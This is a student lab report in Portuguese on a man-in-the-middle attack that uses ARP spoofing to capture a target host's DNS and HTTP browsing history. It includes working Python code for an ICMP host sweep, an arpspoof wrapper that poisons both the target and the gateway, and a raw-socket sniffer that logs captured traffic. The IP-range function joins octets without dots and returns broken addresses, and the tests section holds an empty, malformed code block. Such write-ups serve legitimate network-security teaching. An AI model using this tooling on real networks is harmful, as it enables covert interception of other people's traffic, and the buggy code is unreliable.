

Integrantes: Arthur Foltz, Erik Monteiro, Rodrigo Oliveira Rosa

## 1. Introdução

Este trabalho apresenta a implementação de um ataque **Man-in-the-Middle** (MITM) utilizando **ARP Spoofing**, com o objetivo de capturar o histórico de navegação web de um host remoto. O projeto foi dividido em três etapas:

1. Descoberta de hosts ativos na rede.
2. Execução do ataque ARP Spoofing.
3. Monitoramento do tráfego de rede.

## 2. Implementação

### Descoberta de hosts ativos

A varredura de hosts ativos é implementada no arquivo **e1\_icmp.py** e **e1\_varredura.py**, usando pacotes ICMP para identificar dispositivos conectados à rede.

### Trechos relevantes do nosso código

- Cálculo do intervalo de IPs

```
5 def calcular_intervalo_ips(rede):
6     partes_rede = rede.split('/')
7     endereco_base = partes_rede[0]
8     mascara = int(partes_rede[1])
9
10    ip_binario = ''.join([bin(int(octeto))[2:].zfill(8) for octeto in endereco_base.split('.')])
11    mascara_binaria = '1' * mascara + '0' * (32 - mascara)
12
13    rede_decimal = int(ip_binario, 2) & int(mascara_binaria, 2)
14    broadcast_decimal = rede_decimal | (~int(mascara_binaria, 2) & 0xFFFFFFFF)
15
16    ips_validos = []
17    for ip_num in range(rede_decimal + 1, broadcast_decimal):
18        ip = ''.join(str((ip_num >> (8 * i)) & 0xFF) for i in range(3, -1, -1))
19        ips_validos.append(ip)
20
21    return ips_validos
```

- Envio de pacotes ICMP

```

24 def enviar_ping(host, timeout):
25
26     try:
27         icmp = socket.IPPROTO_ICMP
28         with socket.socket(socket.AF_INET, socket.SOCK_RAW, icmp) as sock:
29             sock.settimeout(timeout / 1000)
30             seq = 1
31             packet = criar_pacote_icmp(seq)
32             sock.sendto(packet, (host, 1))
33             start = time.time()
34
35             resposta, endereco = sock.recvfrom(1024)
36             tempo_resposta = (time.time() - start) * 1000
37
38             tipo, codigo, checksum, id_icmp, seq_resposta = struct.unpack("bbHHh", resposta[20:28])
39             if tipo == 0 and id_icmp == (os.getpid() & 0xFFFF) and seq_resposta == seq:
40                 return int(tempo_resposta)
41             else:
42                 return None
43     except socket.timeout:
44         return None
45     except PermissionError:
46         raise PermissionError("Permissões de administrador são necessárias para enviar pacotes ICMP.")
47     except Exception as e:
48         print(f"Erro: {e}")
49         return None
50

```

Na requisição ICMP abaixo estamos trocando informações entre roteador, a máquina atacante e a máquina alvo.

icmp									
No.	Time	Source	Destination	Protocol	Length	Info			
1067	14.632227463	172.20.0.2	172.20.0.1	ICMP	54	Echo (ping) request	id=0x3039, seq=1/256, ttl=64	(reply in 1068)	
1068	14.632307786	172.20.0.1	172.20.0.2	ICMP	54	Echo (ping) reply	id=0x3039, seq=1/256, ttl=64	(request in 1067)	
1069	14.632524875	172.20.0.2	172.20.0.3	ICMP	54	Echo (ping) request	id=0x3039, seq=1/256, ttl=64	(reply in 1070)	
1070	14.632576007	172.20.0.3	172.20.0.2	ICMP	54	Echo (ping) reply	id=0x3039, seq=1/256, ttl=64	(request in 1069)	
1071	14.632633821	172.20.0.2	172.20.0.4	ICMP	54	Echo (ping) request	id=0x3039, seq=1/256, ttl=64	(reply in 1072)	
1072	14.632652938	172.20.0.4	172.20.0.2	ICMP	54	Echo (ping) reply	id=0x3039, seq=1/256, ttl=64	(request in 1071)	

### 3. Execução do Ataque Arp Spoofing

O ataque de ARP Spoofing é implementado no arquivo **e2\_arpspoof.py**, permitindo interceptar a comunicação entre o host alvo e o roteador.

## Trecho da implementação

```
1 import subprocess
2 import time
3
4 def habilitar_ip_forwarding():
5     with open("/proc/sys/net/ipv4/ip_forward", "w") as f:
6         f.write("1")
7
8 def realizar_arp_spoofing(target_ip, gateway_ip, interface, stop_event):
9     try:
10         print(f"Iniciando ARP Spoofing contra o alvo {target_ip} e o gateway {gateway_ip} na interface {interface}...")
11
12         habilitar_ip_forwarding()
13
14         while not stop_event.is_set():
15             subprocess.run(["arpspoof", "-i", interface, "-t", target_ip, gateway_ip], check=True)
16             subprocess.run(["arpspoof", "-i", interface, "-t", gateway_ip, target_ip], check=True)
17             time.sleep(2)
18
19     except subprocess.CalledProcessError as e:
20         print(f"[ERRO] Comando arpspoof falhou: {e}")
21     except KeyboardInterrupt:
22         print("\nARP Spoofing interrompido pelo usuário.")
23     finally:
24         print("ARP Spoofing interrompido e o processo de forwarding foi desabilitado.")
25         with open("/proc/sys/net/ipv4/ip_forward", "w") as f:
26             f.write("0")
27
```

Essa parte é a mais simples, consiste basicamente em selecionarmos o IP alvo para o ataque, gateway e interface. Isso vai fazer com que a máquina alvo envie pacotes para nós, a máquina de ataque (**Man-in-the-Middle** (MITM)), fazendo com que possamos interceptar e fazer a captura desses pacotes.

## 4. Monitoramento de Tráfego

A análise do tráfego é realizada no arquivo `e3_sniffer.py` e `e3_analise.py`, capturando pacotes DNS e HTTP.

## Trechos da implementação

```
7 def start_sniffer(interface, stop_event):
8
9     sniffer_socket = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(0x0800))
10    sniffer_socket.bind((interface, 0))
11
12    iniciar_html()
13
14    print("Capturando pacotes DNS/HTTP... Pressione Ctrl+C para parar.")
15
16    while not stop_event.is_set():
17        try:
18            packet = sniffer_socket.recv(2048)
19
20            with open("log_bruto.txt", "a") as log_file:
21                log_file.write(f"{datetime.now()} - Pacote Capturado: {packet.hex()}\n")
22
23            eth_header = packet[:14]
24            eth = struct.unpack("!6s6sH", eth_header)
25            eth_protocol = socket.ntohs(eth[2])
26
27            if eth_protocol == 8: # Protocolo IPv4
28                ip_header = packet[14:34]
29                iph = struct.unpack("!BBHHHBBH4s4s", ip_header)
30                ip_protocol = iph[6]
31                source_ip = socket.inet_ntoa(iph[8])
32
33                if ip_protocol == 17: # Protocolo UDP (DNS)
34                    dns_query = extrair_dns(packet)
35                    if dns_query:
36                        salvar_historico(source_ip, dns_query)
37
38                elif ip_protocol == 6: # Protocolo TCP (HTTP)
39                    result = extrair_http(packet)
40                    if result:
41                        salvar_historico(source_ip, result)
42
43        except KeyboardInterrupt:
44            print("\nSniffer interrompido pelo usuário.")
45            break
46        except Exception as e:
47            print(f"[ERRO] Ocorreu um erro ao processar o pacote: {e}")
48            break
49
50    sniffer_socket.close()
51    finalizar_html()
```

## 5. Testes Realizados

Captura dos pacotes ICMP Echo Request e Echo Reply durante a varredura:

```

Tabela ARP da máquina atacada (teste realizado no laboratório, por isso os IP's diferentes)

O IP da máquina de ataque era **10.32.143.122** e a máquina alvo tinha **IP 10.32.143.23**, pode-se notar que o IP do roteador é 10.32.143.1, com o MAC **a4:1f:72:f5:90:a2**.

Quando fizemos o ataque, interceptamos a comunicação dizendo para o roteador que o MAC da máquina alvo é, na verdade, o MAC da máquina em que estamos fazendo o ataque, estabelecendo assim o Man in the middle.
